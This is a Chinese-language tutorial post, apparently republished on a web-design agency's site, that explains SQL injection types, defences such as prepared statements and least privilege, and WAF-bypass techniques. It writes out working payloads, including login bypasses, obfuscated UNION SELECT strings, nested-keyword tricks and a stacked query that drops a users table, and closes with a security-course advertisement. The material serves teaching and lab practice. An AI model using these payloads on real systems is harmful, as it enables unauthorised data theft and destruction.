SQL注入技术详解与过滤绕过方法

发布时间:2026/9/16 14:01:53
SQL注入技术详解与过滤绕过方法 SQL 注入技术详解与过滤绕过方法说明全文已统一润色、修正逻辑漏洞、补齐防御与过滤绕过章节Markdown 格式可直接复制发布到 CSDN。修正了原示例 payload 的逻辑问题增加实战 payload、WAF 绕过思路、靶场演示与总结。1. 什么是 SQL 注入SQL 注入SQL Injection是 Web 领域最经典的高危漏洞之一。攻击者向页面输入框、请求参数等可控位置插入恶意 SQL 语句应用程序未做过滤就将用户输入拼接到原始 SQL 语句中发送给数据库执行。漏洞成功利用后攻击者可实现读取数据库敏感数据、篡改 / 删除数据、甚至拿下服务器权限。1.1 SQL 注入的工作原理SQL 注入的核心根源直接拼接用户可控输入到 SQL 语句破坏原有 SQL 语义。举一个登录校验场景后端原始 SQLSELECT * FROM users WHERE username admin AND password password;攻击者在用户名输入框填入admin OR 11拼接后 SQL 语句SELECT * FROM users WHERE username admin OR 11 AND password password;⚠️ 知识点补充SQL 中AND优先级高于OR上面这条语句实际等价SELECT * FROM users WHERE username admin OR (11 AND password password);很多入门教程直接说这个 payload 一定能登录其实是不准确的。更稳妥的 Payloadadmin OR 11-- -拼接结果SELECT * FROM users WHERE username admin OR 11-- - AND password password;-- -是 SQL 注释符注释掉后面单引号和密码判断直接绕过登录校验。1.2 常见 SQL 注入攻击类型基于错误的注入Error-based构造特殊 SQL 语句让数据库返回报错信息。从报错回显中直接获取表名、字段名、数据库版本等结构信息。适合数据库错误信息对外暴露的场景。联合查询注入Union-based利用UNION关键字把原有查询结果和攻击者自定义查询的结果合并输出。前提前后两个查询的字段数量、数据类型匹配。是最常用、数据获取效率最高的注入方式。布尔盲注Boolean-based Blind页面不返回数据库数据也不返回 SQL 报错。但是页面会根据 SQL 语句真假返回两种不同页面状态正常页面 / 空白页面。攻击者通过构造判断语句逐个字符猜解数据库内容。时间盲注Time-based Blind页面无论 SQL 语句真假返回内容完全一致无法依靠页面判断。通过sleep()、benchmark()等延时函数根据服务器响应时间长短推断 SQL 执行结果。适合页面无回显、无状态差异的场景。2. SQL 注入防御方案防御 SQL 注入需要多层防护不能只依赖单一手段。2.1 使用参数化查询预编译语句参数化查询Prepared Statements是防御 SQL 注入最核心、最有效的手段。原理SQL 语句模板提前在数据库预编译用户输入只作为参数值传递数据库会把参数单纯当作字符串不会解析执行里面的 SQL 关键字。简单示例PHP PDO// 预编译SQL模板?是占位符 $stmt $pdo-prepare(SELECT * FROM users WHERE username ? AND password ?); // 用户输入仅作为参数绑定不会参与SQL语句解析 $stmt-execute([$username, $password]);注意使用预编译也不是绝对安全如果预编译模板本身由字符串拼接生成依然存在注入风险。2.2 使用 ORM 框架MyBatis、Hibernate、Django ORM 等框架底层默认使用参数化查询。开发人员尽量使用框架提供的对象化查询 API避免手写原生 SQL。坑点提醒MyBatis 中${}是字符串拼接会产生注入#{}才是预编译参数。很多注入漏洞都是误用${}造成。2.3 输入校验与白名单过滤对用户输入做严格校验优先使用白名单黑名单很容易被绕过。白名单只允许预期范围内字符例如 ID 只允许数字黑名单过滤union、select、and等关键字不推荐单独作为防御手段。2.4 数据库最小权限原则应用连接数据库账号只分配业务必需权限。Web 业务账号禁止drop、alter、into outfile等高权限操作。就算发生注入也能降低攻击危害。2.5 关闭数据库详细错误回显生产环境禁止把原生数据库报错信息直接返回前端。防止攻击者利用报错注入获取库表信息。3. 过滤绕过思路本文重点当站点使用黑名单、WAF 对关键字、符号做过滤时攻击者会使用各类变形方式绕过检测。下面是实战中常见绕过手段。3.1 注释符绕过常用注释-- -、#、/* */场景过滤单引号后多余闭合字符截断后面 SQL 语句。Payload 示例admin or 11-- -3.2 大小写变形绕过部分 WAF 只匹配小写关键字可切换大小写绕过。示例UNION、uNiOn、SelEcT?id1 uNiOn sElEcT 1,version()-- -3.3 空格过滤绕过当空格被拦截使用等价符号替代空格/**/、%09Tab、%0A换行符?id1/**/union/**/select/**/1,2-- -3.4 编码绕过URL 编码、Unicode 编码部分 WAF 只检测原始明文后端解析后触发注入。URL 编码示例→%273.5 关键字替换 / 嵌套绕过简单黑名单会直接替换关键词为空可嵌套构造。例过滤union使用ununionion替换后剩余union?id1 ununionion selselectect 1,2-- -3.6 堆叠查询绕过部分数据库MySQL支持;分隔多条 SQL 语句如果后端支持多语句执行可以执行多条 SQL。?id1;drop table users;-- -注意很多中间件默认禁止堆叠查询这个方式不一定生效。✅ 重要说明绕过手段依赖 WAF / 过滤规则的缺陷规则更新后可能失效。黑名单过滤只能作为辅助防护不能替代预编译。4. 靶场简单注入实战演示Union 查询测试地址本地 DVWA 靶场 SQL Injection原始请求?id1返回一条数据判断是否存在注入?id1页面报错存在字符型注入判断字段数?id1 order by 2-- -正常?id1 order by 3-- -报错 → 查询字段为 2判断回显位置?id-1 union select 1,version()-- -页面返回数据库版本信息注入成功。5. 总结SQL 注入根源用户可控输入直接拼接 SQL 语句防御首选参数化预编译语句、ORM 框架白名单校验黑名单过滤极易被绕过仅作辅助注入分为报错注入、联合注入、布尔盲注、时间盲注四大类WAF / 黑名单绕过只是利用规则缺陷绕过手段不固定随防护规则变化安全开发一定要遵循最小权限原则生产环境关闭数据库错误详情输出。免责声明本文仅用于安全学习、靶场测试。未经授权禁止对任何网站进行渗透测试违者承担相应法律责任。最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询